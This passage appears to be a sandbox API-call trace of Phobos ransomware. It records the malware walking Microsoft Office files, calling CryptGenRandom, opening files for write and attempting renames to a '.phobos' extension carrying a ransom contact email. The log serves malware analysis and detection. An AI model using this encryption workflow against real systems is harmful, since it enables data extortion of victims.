0xffffffff [0154.298] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\proofing.msi.16_proofing.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\proofing.msi.16_proofing.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0154.300] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=16132) returned 1 [0154.300] CloseHandle (hObject=0x57c) returned 1 [0154.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\proofing.msi.16_proofing.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\proofing.msi.16_proofing.mcxml")) returned 0x220 [0154.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\proofing.msi.16_proofing.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\proofing.msi.16_proofing.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.302] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\proofing.msi.16_proofing.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\proofing.msi.16_proofing.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.304] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.304] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\wordmui.msi.16_wordmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\wordmui.msi.16_wordmui.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0154.305] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=183040) returned 1 [0154.305] CloseHandle (hObject=0x57c) returned 1 [0154.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\wordmui.msi.16_wordmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\wordmui.msi.16_wordmui.mcxml")) returned 0x220 [0154.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\wordmui.msi.16_wordmui.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\wordmui.msi.16_wordmui.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\wordmui.msi.16_wordmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\wordmui.msi.16_wordmui.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.315] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Lync.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\lync.x-none.msi.16_mondoww.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.321] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1538516) returned 1 [0154.321] CloseHandle (hObject=0x58c) returned 1 [0154.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Lync.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\lync.x-none.msi.16_mondoww.mcxml")) returned 0x220 [0154.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Lync.x-none.msi.16_mondoww.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\lync.x-none.msi.16_mondoww.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.321] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Lync.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\lync.x-none.msi.16_mondoww.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.321] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.321] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_authored.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_authored.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.327] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=68070) returned 1 [0154.327] CloseHandle (hObject=0x488) returned 1 [0154.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_authored.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_authored.mcxml")) returned 0x220 [0154.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_authored.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_authored.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_authored.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_authored.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.327] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_licensing.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_licensing.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0154.330] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=316423) returned 1 [0154.330] CloseHandle (hObject=0x57c) returned 1 [0154.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_licensing.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_licensing.mcxml")) returned 0x220 [0154.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_licensing.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_licensing.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.330] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_licensing.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_licensing.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.330] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.331] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_mondoww.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.333] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=4205668) returned 1 [0154.333] CloseHandle (hObject=0x488) returned 1 [0154.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_mondoww.mcxml")) returned 0x220 [0154.333] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_mondoww.mcxml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_mondoww.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_mondoww.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0154.334] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_mondoww.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_mondoww.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_mondoww.mcxml")) returned 0 [0154.334] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.334] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_PostCommon.Office.x-none.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_postcommon.office.x-none.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.335] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1121) returned 1 [0154.335] CloseHandle (hObject=0x488) returned 1 [0154.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_PostCommon.Office.x-none.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_postcommon.office.x-none.mcxml")) returned 0x220 [0154.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_PostCommon.Office.x-none.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_postcommon.office.x-none.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.337] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_PostCommon.Office.x-none.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_postcommon.office.x-none.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.338] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.338] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OneNote.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\onenote.x-none.msi.16_mondoww.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.346] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=422496) returned 1 [0154.346] CloseHandle (hObject=0x488) returned 1 [0154.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OneNote.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\onenote.x-none.msi.16_mondoww.mcxml")) returned 0x220 [0154.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OneNote.x-none.msi.16_mondoww.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\onenote.x-none.msi.16_mondoww.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OneNote.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\onenote.x-none.msi.16_mondoww.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.347] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.347] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OSM.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\osm.x-none.msi.16_mondoww.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.347] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=33954) returned 1 [0154.347] CloseHandle (hObject=0x488) returned 1 [0154.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OSM.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\osm.x-none.msi.16_mondoww.mcxml")) returned 0x220 [0154.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OSM.x-none.msi.16_mondoww.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\osm.x-none.msi.16_mondoww.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OSM.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\osm.x-none.msi.16_mondoww.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.348] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OSMUX.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\osmux.x-none.msi.16_mondoww.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.349] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=53048) returned 1 [0154.349] CloseHandle (hObject=0x488) returned 1 [0154.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OSMUX.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\osmux.x-none.msi.16_mondoww.mcxml")) returned 0x220 [0154.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OSMUX.x-none.msi.16_mondoww.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\osmux.x-none.msi.16_mondoww.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.349] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OSMUX.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\osmux.x-none.msi.16_mondoww.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.349] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.349] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Outlook.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\outlook.x-none.msi.16_mondoww.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.350] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=2110330) returned 1 [0154.350] CloseHandle (hObject=0x488) returned 1 [0154.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Outlook.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\outlook.x-none.msi.16_mondoww.mcxml")) returned 0x220 [0154.350] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Outlook.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\outlook.x-none.msi.16_mondoww.mcxml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Outlook.x-none.msi.16_mondoww.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\outlook.x-none.msi.16_mondoww.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0154.350] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Outlook.x-none.msi.16_mondoww.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\outlook.x-none.msi.16_mondoww.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Outlook.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\outlook.x-none.msi.16_mondoww.mcxml")) returned 0 [0154.350] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.350] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Outlook.x-none.msi.16_PostCommon.Outlook.x-none.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\outlook.x-none.msi.16_postcommon.outlook.x-none.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.351] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=894) returned 1 [0154.351] CloseHandle (hObject=0x488) returned 1 [0154.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Outlook.x-none.msi.16_PostCommon.Outlook.x-none.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\outlook.x-none.msi.16_postcommon.outlook.x-none.mcxml")) returned 0x220 [0154.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Outlook.x-none.msi.16_PostCommon.Outlook.x-none.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\outlook.x-none.msi.16_postcommon.outlook.x-none.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Outlook.x-none.msi.16_PostCommon.Outlook.x-none.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\outlook.x-none.msi.16_postcommon.outlook.x-none.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.351] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\PowerPivot.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\powerpivot.x-none.msi.16_mondoww.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.352] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=2426018) returned 1 [0154.352] CloseHandle (hObject=0x488) returned 1 [0154.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\PowerPivot.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\powerpivot.x-none.msi.16_mondoww.mcxml")) returned 0x220 [0154.352] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\PowerPivot.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\powerpivot.x-none.msi.16_mondoww.mcxml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\PowerPivot.x-none.msi.16_mondoww.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\powerpivot.x-none.msi.16_mondoww.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0154.352] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\PowerPivot.x-none.msi.16_mondoww.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\powerpivot.x-none.msi.16_mondoww.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\PowerPivot.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\powerpivot.x-none.msi.16_mondoww.mcxml")) returned 0 [0154.352] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.352] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\PowerPoint.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\powerpoint.x-none.msi.16_mondoww.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.353] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1212442) returned 1 [0154.353] CloseHandle (hObject=0x488) returned 1 [0154.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\PowerPoint.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\powerpoint.x-none.msi.16_mondoww.mcxml")) returned 0x220 [0154.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\PowerPoint.x-none.msi.16_mondoww.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\powerpoint.x-none.msi.16_mondoww.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\PowerPoint.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\powerpoint.x-none.msi.16_mondoww.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.353] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Project.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\project.x-none.msi.16_mondoww.mcxml"), 